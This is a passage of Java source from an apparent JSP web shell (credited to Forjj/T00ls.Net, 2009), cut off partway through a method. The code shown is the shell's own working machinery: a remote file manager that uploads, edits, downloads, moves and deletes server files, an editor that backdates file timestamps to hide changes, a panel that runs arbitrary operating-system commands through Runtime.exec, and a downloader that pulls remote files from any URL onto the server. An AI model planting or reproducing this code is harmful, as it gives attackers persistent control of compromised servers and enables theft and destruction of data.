  1351. " <td width=\"98%\"><input class=\"input\" name=\"folder\" value=\""+path2View+"\" type=\"text\" style=\"width:100%;margin:0 8px;\"></td>"+
  1352. " <td nowrap><input class=\"bt\" value=\"GO\" type=\"submit\"></td>"+
  1353. " </tr>"+
  1354. "</table>"+
  1355. "</form>");
  1356. out.println("<table width=\"98%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\">"+
  1357. "<form action=\""+SHELL_NAME+"?o=upload\" method=\"POST\" enctype=\"multipart/form-data\"><tr class=\"alt1\"><td colspan=\"7\" style=\"padding:5px;\">"+
  1358. "<div style=\"float:right;\"><input class=\"input\" name=\"file\" value=\"\" type=\"file\" /> <input class=\"bt\" name=\"doupfile\" value=\"Upload\" "+(enter == null ?"type=\"submit\"":"type=\"button\" onclick=\"alert('You Are In File Now ! Can Not Upload !')\"")+" /></div>"+
  1359. "<a href=\"javascript:new fso({path:'"+Util.convertPath(WEB_ROOT)+"'}).subdir('true')\">Web Root</a>"+
  1360. " | <a href=\"javascript:new fso({path:'"+Util.convertPath(SHELL_DIR)+"'}).subdir('true')\">Shell Directory</a>"+
  1361. " | <a href=\"javascript:"+(enter == null ? "new fso({}).mkdir()" : "alert('You Are In File Now ! Can Not Create Directory ! ')")+"\">New Directory</a> | <a href=\"javascript:"+(enter == null ? "new fso({}).createFile()" : "alert('You Are In File Now ! Can Not Create File !')")+"\">New File</a>"+
  1362. " | ");
  1363. File[] roots = file.listRoots();
  1364. for (int i = 0;i<roots.length;i++) {
  1365. File r = roots[i];
  1366. out.println("<a href=\"javascript:new fso({path:'"+Util.convertPath(r.getPath())+"'}).subdir('true');\">Disk("+Util.convertPath(r.getPath())+")</a>");
  1367. if (i != roots.length -1) {
  1368. out.println("|");
  1369. }
  1370. }
  1371. out.println("</td>"+
  1372. "</tr></form>"+
  1373. "<tr class=\"head\"><td>&nbsp;</td>"+
  1374. " <td>Name</td>"+
  1375. " <td width=\"16%\">Last Modified</td>"+
  1376. " <td width=\"10%\">Size</td>"+
  1377. " <td width=\"20%\">Read/Write/Execute</td>"+
  1378. " <td width=\"22%\">&nbsp;</td>"+
  1379. "</tr>");
  1380. if (file.getParent() != null) {
  1381. out.println("<tr class=alt1>"+
  1382. "<td align=\"center\"><font face=\"Wingdings 3\" size=4>=</font></td>"+
  1383. "<td nowrap colspan=\"5\"><a href=\"javascript:new fso({path:'"+Util.convertPath(file.getAbsolutePath())+"'}).parent()\">Goto Parent</a></td>"+
  1384. "</tr>");
  1385. }
  1386. int dircount = 0;
  1387. int filecount = 0;
  1388. for (int i = 0;i<list.length;i++) {
  1389. File f = list[i];
  1390. if (f.isDirectory()) {
  1391. dircount ++;
  1392. out.println("<tr class=\"alt2\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt2';\">"+
  1393. "<td width=\"2%\" nowrap><font face=\"wingdings\" size=\"3\">0</font></td>"+
  1394. "<td><a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).subdir()\">"+f.getName()+"</a></td>"+
  1395. "<td nowrap>"+Util.formatDate(f.lastModified())+"</td>"+
  1396. "<td nowrap>--</td>"+
  1397. "<td nowrap>"+f.canRead()+" / "+f.canWrite()+" / unknow</td>"+
  1398. "<td nowrap>");
  1399. if (enter != null)
  1400. out.println("&nbsp;");
  1401. else
  1402. out.println("<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).removedir()\">Del</a> | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).move()\">Move</a> | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).pack(true)\">Pack</a>");
  1403. out.println("</td></tr>");
  1404. } else {
  1405. filecount++;
  1406. out.println("<tr class=\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">"+
  1407. "<td width=\"2%\" nowrap><input type='checkbox' value='"+f.getName()+"'/></td>"+
  1408. "<td><a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).down()\">"+f.getName()+"</a></td>"+
  1409. "<td nowrap>"+Util.formatDate(f.lastModified())+"</td>"+
  1410. "<td nowrap>"+Util.getSize(f.length(),'B')+"</td>"+
  1411. "<td nowrap>"+
  1412. ""+f.canRead()+" / "+f.canWrite()+" / unknow </td>"+
  1413. "<td nowrap>"+
  1414. "<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).vEdit()\">Edit</a> | "+
  1415. "<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).down()\">Down</a> | "+
  1416. "<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).copy()\">Copy</a>");
  1417. if (enter == null ) {
  1418. out.println(" | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).move()\">Move</a> | "+
  1419. "<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).vEditProperty()\">Property</a> | "+
  1420. "<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).enter()\">Enter</a>");
  1421. if (f.getName().endsWith(".zip") || f.getName().endsWith(".jar")) {
  1422. out.println(" | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).unpack()\">UnPack</a>");
  1423. } else if (f.getName().endsWith(".rar")) {
  1424. out.println(" | <a href=\"javascript:alert('Dont Support RAR,Please Use WINRAR');\">UnPack</a>");
  1425. } else {
  1426. out.println(" | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).pack()\">Pack</a>");
  1427. }
  1428. }
  1429. out.println("</td></tr>");
  1430. }
  1431. }
  1432. out.println("<tr class=\"alt2\"><td align=\"center\">&nbsp;</td>"+
  1433. " <td>");
  1434. if (enter != null)
  1435. out.println("<a href=\"javascript:alert('You Are In File Now ! Can Not Pack !');\">Pack Selected</a> - <a href=\"javascript:alert('You Are In File Now ! Can Not Delete !');\">Delete Selected</a>");
  1436. else
  1437. out.println("<a href=\"javascript:new fso({}).packBatch();\">Pack Selected</a> - <a href=\"javascript:new fso({}).deleteBatch();\">Delete Selected</a>");
  1438. out.println("</td>"+
  1439. " <td colspan=\"4\" align=\"right\">"+dircount+" directories / "+filecount+" files</td></tr>"+
  1440. "</table>");
  1441. out.println("</div>");
  1442. if (file instanceof EnterFile)
  1443. ((EnterFile)file).close();
  1444. } catch (ZipException e) {
  1445. JSession.setAttribute(MSG,"\""+JSession.getAttribute(ENTER).toString()+"\" Is Not a Zip File. Please Exit.");
  1446. throw e;
  1447. } catch (Exception e) {
  1448. JSession.setAttribute(MSG,"File Does Not Exist Or You Dont Have Privilege."+BACK_HREF);
  1449. throw e;
  1450. }
  1451. }
  1452. }
  1453. private static class LogoutInvoker extends DefaultInvoker {
  1454. public boolean doBefore() {return false;}
  1455. public boolean doAfter() {return false;}
  1456. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1457. try {
  1458. Object dbo = JSession.getAttribute(DBO);
  1459. if (dbo != null)
  1460. ((DBOperator)dbo).close();
  1461. Object obj = JSession.getAttribute(PORT_MAP);
  1462. if (obj != null) {
  1463. ServerSocket s = (ServerSocket)obj;
  1464. s.close();
  1465. }
  1466. Object online = JSession.getAttribute(SHELL_ONLINE);
  1467. if (online != null)
  1468. ((OnLineProcess)online).stop();
  1469. JSession.invalidate();
  1470. ((Invoker)ins.get("vLogin")).invoke(request,response,JSession);
  1471. } catch (ClassCastException e) {
  1472. JSession.invalidate();
  1473. ((Invoker)ins.get("vLogin")).invoke(request,response,JSession);
  1474. } catch (Exception e) {
  1475. throw e ;
  1476. }
  1477. }
  1478. }
  1479. private static class UploadInvoker extends DefaultInvoker {
  1480. public boolean doBefore() {return false;}
  1481. public boolean doAfter() {return false;}
  1482. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1483. try {
  1484. UploadBean fileBean = new UploadBean();
  1485. response.getWriter().println(JSession.getAttribute(CURRENT_DIR).toString());
  1486. fileBean.setSavePath(JSession.getAttribute(CURRENT_DIR).toString());
  1487. fileBean.parseRequest(request);
  1488. JSession.setAttribute(MSG,"Upload File Success!");
  1489. response.sendRedirect(SHELL_NAME);
  1490. } catch (Exception e) {
  1491. throw e ;
  1492. }
  1493. }
  1494. }
  1495. private static class CopyInvoker extends DefaultInvoker {
  1496. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1497. try {
  1498. String src = request.getParameter("src");
  1499. String to = request.getParameter("to");
  1500. InputStream in = null;
  1501. Object enter = JSession.getAttribute(ENTER);
  1502. if (enter == null)
  1503. in = new FileInputStream(new File(src));
  1504. else {
  1505. ZipFile zf = new ZipFile((String)enter);
  1506. ZipEntry entry = zf.getEntry(src);
  1507. in = zf.getInputStream(entry);
  1508. }
  1509. BufferedInputStream input = new BufferedInputStream(in);
  1510. BufferedOutputStream output = new BufferedOutputStream(new FileOutputStream(new File(to)));
  1511. byte[] d = new byte[1024];
  1512. int len = input.read(d);
  1513. while(len != -1) {
  1514. output.write(d,0,len);
  1515. len = input.read(d);
  1516. }
  1517. output.close();
  1518. input.close();
  1519. JSession.setAttribute(MSG,"Copy File Success!");
  1520. response.sendRedirect(SHELL_NAME);
  1521. } catch (Exception e) {
  1522. throw e ;
  1523. }
  1524. }
  1525. }
  1526. private static class BottomInvoker extends DefaultInvoker {
  1527. public boolean doBefore() {return false;}
  1528. public boolean doAfter() {return false;}
  1529. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1530. try {
  1531. response.getWriter().println("<div style=\"padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;\">Copyright (C) 2009 <a href=\"http://www.forjj.com\" target=\"_blank\">http://www.Forjj.com/</a>&nbsp;&nbsp;<a target=\"_blank\" href=\"http://www.t00ls.net/\">[T00ls.Net]</a> All Rights Reserved."+
  1532. "</div>");
  1533. } catch (Exception e) {
  1534. throw e ;
  1535. }
  1536. }
  1537. }
  1538. private static class VCreateFileInvoker extends DefaultInvoker {
  1539. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1540. try {
  1541. PrintWriter out = response.getWriter();
  1542. String path = request.getParameter("filepath");
  1543. File f = new File(path);
  1544. if (!f.isAbsolute()) {
  1545. String oldPath = path;
  1546. path = JSession.getAttribute(CURRENT_DIR).toString();
  1547. if (!path.endsWith("/"))
  1548. path+="/";
  1549. path+=oldPath;
  1550. f = new File(path);
  1551. f.createNewFile();
  1552. } else {
  1553. f.createNewFile();
  1554. }
  1555. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
  1556. "<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
  1557. "<h2>Create / Edit File &raquo;</h2>"+
  1558. "<input type='hidden' name='o' value='createFile'>"+
  1559. "<p>Current File (import new file name and new file)<br /><input class=\"input\" name=\"filepath\" id=\"editfilename\" value=\""+path+"\" type=\"text\" size=\"100\" />"+
  1560. " <select name='charset' class='input'><option value='ANSI'>ANSI</option><option value='UTF-8'>UTF-8</option></select></p>"+
  1561. "<p>File Content<br /><textarea class=\"area\" id=\"filecontent\" name=\"filecontent\" cols=\"100\" rows=\"25\" ></textarea></p>"+
  1562. "<p><input class=\"bt\" name=\"submit\" id=\"submit\" type=\"submit\" value=\"Submit\"> <input class=\"bt\" type=\"button\" value=\"Back\" onclick=\"history.back()\"></p>"+
  1563. "</form>"+
  1564. "</td></tr></table>");
  1565. } catch (Exception e) {
  1566. throw e ;
  1567. }
  1568. }
  1569. }
  1570. private static class VEditInvoker extends DefaultInvoker {
  1571. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1572. try {
  1573. PrintWriter out = response.getWriter();
  1574. String path = request.getParameter("filepath");
  1575. String charset = request.getParameter("charset");
  1576. Object enter = JSession.getAttribute(ENTER);
  1577. InputStream input = null;
  1578. if (enter != null) {
  1579. ZipFile zf = new ZipFile((String)enter);
  1580. ZipEntry entry = new ZipEntry(path);
  1581. input = zf.getInputStream(entry);
  1582. } else {
  1583. File f = new File(path);
  1584. if (!f.exists())
  1585. return;
  1586. input = new FileInputStream(path);
  1587. }
  1588. BufferedReader reader = null;
  1589. if (Util.isEmpty(charset) || charset.equals("ANSI"))
  1590. reader = new BufferedReader(new InputStreamReader(input));
  1591. else
  1592. reader = new BufferedReader(new InputStreamReader(input,charset));
  1593. StringBuffer content = new StringBuffer();
  1594. String s = reader.readLine();
  1595. while (s != null) {
  1596. content.append(s+"\r\n");
  1597. s = reader.readLine();
  1598. }
  1599. reader.close();
  1600. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
  1601. "<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
  1602. "<h2>Create / Edit File &raquo;</h2>"+
  1603. "<input type='hidden' name='o' value='createFile'>"+
  1604. "<p>Current File (import new file name and new file)<br /><input class=\"input\" name=\"filepath\" id=\"editfilename\" value=\""+path+"\" type=\"text\" size=\"100\" />"+
  1605. " <select name='charset' id='fcharset' onchange=\"new fso({path:'"+path+"',charset:document.getElementById('fcharset').value}).vEdit()\" class='input'><option value='ANSI'>ANSI</option><option "+((!Util.isEmpty(charset) && charset.equals("UTF-8")) ? "selected" : "")+" value='UTF-8'>UTF-8</option></select></p>"+
  1606. "<p>File Content<br /><textarea class=\"area\" id=\"filecontent\" name=\"filecontent\" cols=\"100\" rows=\"25\" >"+Util.htmlEncode(content.toString())+"</textarea></p>"+
  1607. "<p>");
  1608. if (enter != null)
  1609. out.println("<input class=\"bt\" name=\"submit\" id=\"submit\" onclick=\"alert('You Are In File Now ! Can Not Save !')\" type=\"button\" value=\"Submit\">");
  1610. else
  1611. out.println("<input class=\"bt\" name=\"submit\" id=\"submit\" type=\"submit\" value=\"Submit\">");
  1612. out.println("<input class=\"bt\" type=\"button\" value=\"Back\" onclick=\"history.back()\"></p>"+
  1613. "</form>"+
  1614. "</td></tr></table>");
  1615. } catch (Exception e) {
  1616. throw e ;
  1617. }
  1618. }
  1619. }
  1620. private static class CreateFileInvoker extends DefaultInvoker {
  1621. public boolean doBefore(){return false;}
  1622. public boolean doAfter(){return false;}
  1623. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1624. try {
  1625. PrintWriter out = response.getWriter();
  1626. String path = request.getParameter("filepath");
  1627. String content = request.getParameter("filecontent");
  1628. String charset = request.getParameter("charset");
  1629. BufferedWriter outs = null;
  1630. if (charset.equals("ANSI"))
  1631. outs = new BufferedWriter(new FileWriter(new File(path)));
  1632. else
  1633. outs = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(path)),charset));
  1634. outs.write(content,0,content.length());
  1635. outs.close();
  1636. JSession.setAttribute(MSG,"Save File <span style='color:green'>"+(new File(path)).getName()+"</span> With <span style='font-weight:bold;color:red'>"+charset+"</span> Success!");
  1637. response.sendRedirect(SHELL_NAME);
  1638. } catch (Exception e) {
  1639. throw e ;
  1640. }
  1641. }
  1642. }
  1643. private static class VEditPropertyInvoker extends DefaultInvoker {
  1644. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1645. try {
  1646. PrintWriter out = response.getWriter();
  1647. String filepath = request.getParameter("filepath");
  1648. File f = new File(filepath);
  1649. if (!f.exists())
  1650. return;
  1651. String read = f.canRead() ? "checked=\"checked\"" : "";
  1652. String write = f.canWrite() ? "checked=\"checked\"" : "";
  1653. Calendar cal = Calendar.getInstance();
  1654. cal.setTimeInMillis(f.lastModified());
  1655. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
  1656. "<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
  1657. "<h2>Set File Property &raquo;</h2>"+
  1658. "<p>Current File (FullPath)<br /><input class=\"input\" name=\"file\" id=\"file\" value=\""+request.getParameter("filepath")+"\" type=\"text\" size=\"120\" /></p>"+
  1659. "<input type=\"hidden\" name=\"o\" value=\"editProperty\"> "+
  1660. "<p>"+
  1661. " <input type=\"checkbox\" disabled "+read+" name=\"read\" id=\"checkbox\">Read "+
  1662. " <input type=\"checkbox\" disabled "+write+" name=\"write\" id=\"checkbox2\">Write "+
  1663. "</p>"+
  1664. "<p>Instead &raquo;"+
  1665. "year:"+
  1666. "<input class=\"input\" name=\"year\" value="+cal.get(Calendar.YEAR)+" id=\"year\" type=\"text\" size=\"4\" />"+
  1667. "month:"+
  1668. "<input class=\"input\" name=\"month\" value="+(cal.get(Calendar.MONTH)+1)+" id=\"month\" type=\"text\" size=\"2\" />"+
  1669. "day:"+
  1670. "<input class=\"input\" name=\"date\" value="+cal.get(Calendar.DATE)+" id=\"date\" type=\"text\" size=\"2\" />"+
  1671. ""+
  1672. "hour:"+
  1673. "<input class=\"input\" name=\"hour\" value="+cal.get(Calendar.HOUR)+" id=\"hour\" type=\"text\" size=\"2\" />"+
  1674. "minute:"+
  1675. "<input class=\"input\" name=\"minute\" value="+cal.get(Calendar.MINUTE)+" id=\"minute\" type=\"text\" size=\"2\" />"+
  1676. "second:"+
  1677. "<input class=\"input\" name=\"second\" value="+cal.get(Calendar.SECOND)+" id=\"second\" type=\"text\" size=\"2\" />"+
  1678. "</p>"+
  1679. "<p><input class=\"bt\" name=\"submit\" value=\"Submit\" id=\"submit\" type=\"submit\" value=\"Submit\"> <input class=\"bt\" name=\"submit\" value=\"Back\" id=\"submit\" type=\"button\" onclick=\"history.back()\"></p>"+
  1680. "</form>"+
  1681. "</td></tr></table>");
  1682. } catch (Exception e) {
  1683. throw e ;
  1684. }
  1685. }
  1686. }
  1687. private static class EditPropertyInvoker extends DefaultInvoker {
  1688. public boolean doBefore(){return false;}
  1689. public boolean doAfter(){return false;}
  1690. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1691. try {
  1692. String f = request.getParameter("file");
  1693. File file = new File(f);
  1694. if (!file.exists())
  1695. return;
  1696. String year = request.getParameter("year");
  1697. String month = request.getParameter("month");
  1698. String date = request.getParameter("date");
  1699. String hour = request.getParameter("hour");
  1700. String minute = request.getParameter("minute");
  1701. String second = request.getParameter("second");
  1702. Calendar cal = Calendar.getInstance();
  1703. cal.set(Calendar.YEAR,Integer.parseInt(year));
  1704. cal.set(Calendar.MONTH,Integer.parseInt(month)-1);
  1705. cal.set(Calendar.DATE,Integer.parseInt(date));
  1706. cal.set(Calendar.HOUR,Integer.parseInt(hour));
  1707. cal.set(Calendar.MINUTE,Integer.parseInt(minute));
  1708. cal.set(Calendar.SECOND,Integer.parseInt(second));
  1709. if(file.setLastModified(cal.getTimeInMillis())){
  1710. JSession.setAttribute(MSG,"Reset File Property Success!");
  1711. } else {
  1712. JSession.setAttribute(MSG,"<span style='color:red'>Reset File Property Failed!</span>");
  1713. }
  1714. response.sendRedirect(SHELL_NAME);
  1715. } catch (Exception e) {
  1716. throw e ;
  1717. }
  1718. }
  1719. }
  1720. //VShell
  1721. private static class VsInvoker extends DefaultInvoker{
  1722. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1723. try {
  1724. PrintWriter out = response.getWriter();
  1725. String cmd = request.getParameter("command");
  1726. String program = request.getParameter("program");
  1727. if (cmd == null) {
  1728. if (ISLINUX)
  1729. cmd = "id";
  1730. else
  1731. cmd = "cmd.exe /c set";
  1732. }
  1733. if (program == null)
  1734. program = "cmd.exe /c net start > "+SHELL_DIR+"/Log.txt";
  1735. if (JSession.getAttribute(MSG)!=null) {
  1736. Util.outMsg(out,JSession.getAttribute(MSG).toString());
  1737. JSession.removeAttribute(MSG);
  1738. }
  1739. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
  1740. "<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
  1741. "<h2>Execute Program &raquo;</h2>"+
  1742. "<p>"+
  1743. "<input type=\"hidden\" name=\"o\" value=\"shell\">"+
  1744. "<input type=\"hidden\" name=\"type\" value=\"program\">"+
  1745. "Parameter<br /><input class=\"input\" name=\"program\" id=\"program\" value=\""+program+"\" type=\"text\" size=\"100\" />"+
  1746. "<input class=\"bt\" name=\"submit\" id=\"submit\" value=\"Execute\" type=\"submit\" size=\"100\" />"+
  1747. "</p>"+
  1748. "</form>"+
  1749. "<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
  1750. "<h2>Execute Shell &raquo;</h2>"+
  1751. "<p>"+
  1752. "<input type=\"hidden\" name=\"o\" value=\"shell\">"+
  1753. "<input type=\"hidden\" name=\"type\" value=\"command\">"+
  1754. "Parameter<br /><input class=\"input\" name=\"command\" id=\"command\" value=\""+cmd+"\" type=\"text\" size=\"100\" />"+
  1755. "<input class=\"bt\" name=\"submit\" id=\"submit\" value=\"Execute\" type=\"submit\" size=\"100\" />"+
  1756. "</p>"+
  1757. "</form>"+
  1758. "</td>"+
  1759. "</tr></table>");
  1760. } catch (Exception e) {
  1761. throw e ;
  1762. }
  1763. }
  1764. }
  1765. private static class ShellInvoker extends DefaultInvoker{
  1766. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1767. try {
  1768. PrintWriter out = response.getWriter();
  1769. String type = request.getParameter("type");
  1770. if (type.equals("command")) {
  1771. ((Invoker)ins.get("vs")).invoke(request,response,JSession);
  1772. out.println("<div style='margin:10px'><hr/>");
  1773. out.println("<pre>");
  1774. String command = request.getParameter("command");
  1775. if (!Util.isEmpty(command)) {
  1776. Process pro = Runtime.getRuntime().exec(command);
  1777. BufferedReader reader = new BufferedReader(new InputStreamReader(pro.getInputStream()));
  1778. String s = reader.readLine();
  1779. while (s != null) {
  1780. out.println(Util.htmlEncode(Util.getStr(s)));
  1781. s = reader.readLine();
  1782. }
  1783. reader.close();
  1784. reader = new BufferedReader(new InputStreamReader(pro.getErrorStream()));
  1785. s = reader.readLine();
  1786. while (s != null) {
  1787. out.println(Util.htmlEncode(Util.getStr(s)));
  1788. s = reader.readLine();
  1789. }
  1790. reader.close();
  1791. out.println("</pre></div>");
  1792. }
  1793. } else {
  1794. String program = request.getParameter("program");
  1795. if (!Util.isEmpty(program)) {
  1796. Process pro = Runtime.getRuntime().exec(program);
  1797. JSession.setAttribute(MSG,"Program Has Run Success!");
  1798. ((Invoker)ins.get("vs")).invoke(request,response,JSession);
  1799. }
  1800. }
  1801. } catch (Exception e) {
  1802. throw e ;
  1803. }
  1804. }
  1805. }
  1806. private static class DownInvoker extends DefaultInvoker{
  1807. public boolean doBefore(){return false;}
  1808. public boolean doAfter(){return false;}
  1809. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1810. try {
  1811. String path = request.getParameter("path");
  1812. if (Util.isEmpty(path))
  1813. return;
  1814. InputStream i = null;
  1815. Object enter = JSession.getAttribute(ENTER);
  1816. String fileName = null;
  1817. if (enter == null) {
  1818. File f = new File(path);
  1819. if (!f.exists())
  1820. return;
  1821. fileName = f.getName();
  1822. i = new FileInputStream(f);
  1823. } else {
  1824. ZipFile zf = new ZipFile((String)enter);
  1825. ZipEntry entry = new ZipEntry(path);
  1826. fileName = entry.getName().substring(entry.getName().lastIndexOf("/") + 1);
  1827. i = zf.getInputStream(entry);
  1828. }
  1829. response.setHeader("Content-Disposition","attachment;filename="+URLEncoder.encode(fileName,PAGE_CHARSET));
  1830. BufferedInputStream input = new BufferedInputStream(i);
  1831. BufferedOutputStream output = new BufferedOutputStream(response.getOutputStream());
  1832. byte[] data = new byte[1024];
  1833. int len = input.read(data);
  1834. while (len != -1) {
  1835. output.write(data,0,len);
  1836. len = input.read(data);
  1837. }
  1838. input.close();
  1839. output.close();
  1840. } catch (Exception e) {
  1841. throw e ;
  1842. }
  1843. }
  1844. }
  1845. //VDown
  1846. private static class VdInvoker extends DefaultInvoker {
  1847. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1848. try {
  1849. PrintWriter out = response.getWriter();
  1850. String savepath = request.getParameter("savepath");
  1851. String url = request.getParameter("url");
  1852. if (Util.isEmpty(url))
  1853. url = "http://www.forjj.com/";
  1854. if (Util.isEmpty(savepath)) {
  1855. savepath = JSession.getAttribute(CURRENT_DIR).toString();
  1856. }
  1857. if (!Util.isEmpty(JSession.getAttribute("done"))) {
  1858. Util.outMsg(out,"Download Remote File Success!");
  1859. JSession.removeAttribute("done");
  1860. }
  1861. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
  1862. "<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
  1863. "<h2>Remote File DownLoad &raquo;</h2>"+
  1864. "<p>"+
  1865. "<input type=\"hidden\" name=\"o\" value=\"downRemote\">"+
  1866. "<p>File&nbsp;&nbsp;&nbsp;URL: "+
  1867. " <input class=\"input\" name=\"url\" value=\""+url+"\" id=\"url\" type=\"text\" size=\"200\" /></p>"+
  1868. "<p>Save Path: "+
  1869. "<input class=\"input\" name=\"savepath\" id=\"savepath\" value=\""+savepath+"\" type=\"text\" size=\"200\" /></p>"+
  1870. "<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"DownLoad\" type=\"submit\" size=\"100\" />"+
  1871. "</p>"+
  1872. "</form></table>");
  1873. } catch (Exception e) {
  1874. throw e ;
  1875. }
  1876. }
  1877. }
  1878. private static class DownRemoteInvoker extends DefaultInvoker {
  1879. public boolean doBefore(){return true;}
  1880. public boolean doAfter(){return true;}
  1881. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1882. try {
  1883. String downFileUrl = request.getParameter("url");
  1884. String savePath = request.getParameter("savepath");
  1885. if (Util.isEmpty(downFileUrl) || Util.isEmpty(savePath))
  1886. return;
  1887. URL downUrl = new URL(downFileUrl);
  1888. URLConnection conn = downUrl.openConnection();
  1889. File tempF = new File(savePath);
  1890. File saveF = tempF;
  1891. if (tempF.isDirectory()) {
  1892. String fName = downFileUrl.substring(downFileUrl.lastIndexOf("/")+1);
  1893. saveF = new File(tempF,fName);
  1894. }
  1895. BufferedInputStream in = new BufferedInputStream(conn.getInputStream());
  1896. BufferedOutputStream out = new BufferedOutputStream(new FileOutputStream(saveF));
  1897. byte[] data = new byte[1024];
  1898. int len = in.read(data);
  1899. while (len != -1) {
  1900. out.write(data,0,len);
  1901. len = in.read(data);
  1902. }
  1903. in.close();
  1904. out.close();
  1905. JSession.setAttribute("done","d");
  1906. ((Invoker)ins.get("vd")).invoke(request,response,JSession);
  1907. } catch (Exception e) {
  1908. throw e ;
  1909. }
  1910. }
  1911. }
  1912. private static class IndexInvoker extends DefaultInvoker {
  1913. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1914. try {
  1915. ((Invoker)ins.get("filelist")).invoke(request,response,JSession);
  1916. } catch (Exception e) {
  1917. throw e ;
  1918. }
  1919. }
  1920. }
  1921. private static class MkDirInvoker extends DefaultInvoker {
  1922. public boolean doBefore(){return false;}
  1923. public boolean doAfter(){return false;}
  1924. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1925. try {
  1926. String name = request.getParameter("name");
  1927. File f = new File(name);
  1928. if (!f.isAbsolute()) {
  1929. String path = JSession.getAttribute(CURRENT_DIR).toString();
  1930. if (!path.endsWith("/"))
  1931. path += "/";
  1932. path += name;
  1933. f = new File(path);
  1934. }
  1935. f.mkdirs();
  1936. JSession.setAttribute(MSG,"Make Directory Success!");
  1937. response.sendRedirect(SHELL_NAME);
  1938. } catch (Exception e) {
  1939. throw e ;
  1940. }
  1941. }
  1942. }
  1943. private static class MoveInvoker extends DefaultInvoker {
  1944. public boolean doBefore(){return false;}
  1945. public boolean doAfter(){return false;}
  1946. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1947. try {
  1948. PrintWriter out = response.getWriter();
  1949. String src = request.getParameter("src");
  1950. String target = request.getParameter("to");
  1951. if (!Util.isEmpty(target) && !Util.isEmpty(src)) {
  1952. File file = new File(src);
  1953. if(file.renameTo(new File(target))) {
  1954. JSession.setAttribute(MSG,"Move File Success!");
  1955. } else {
  1956. String msg = "Move File Failed!";
  1957. if (file.isDirectory()) {
  1958. msg += "The Move Will Failed When The Directory Is Not Empty.";
  1959. }
  1960. JSession.setAttribute(MSG,msg);
  1961. }
  1962. response.sendRedirect(SHELL_NAME);
  1963. }
  1964. } catch (Exception e) {
  1965. throw e ;
  1966. }
  1967. }
  1968. }
  1969. private static class RemoveDirInvoker extends DefaultInvoker {
  1970. public boolean doBefore(){return false;}
  1971. public boolean doAfter(){return false;}
  1972. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1973. try {
  1974. String dir = request.getParameter("dir");
  1975. File file = new File(dir);
  1976. if (file.exists()) {
  1977. deleteFile(file);
  1978. deleteDir(file);
  1979. }
  1980. JSession.setAttribute(MSG,"Remove Directory Success!");
  1981. response.sendRedirect(SHELL_NAME);
  1982. } catch (Exception e) {
  1983. throw e ;
  1984. }
  1985. }
  1986. public void deleteFile(File f) {
  1987. if (f.isFile()) {
  1988. f.delete();
  1989. }else {
  1990. File[] list = f.listFiles();
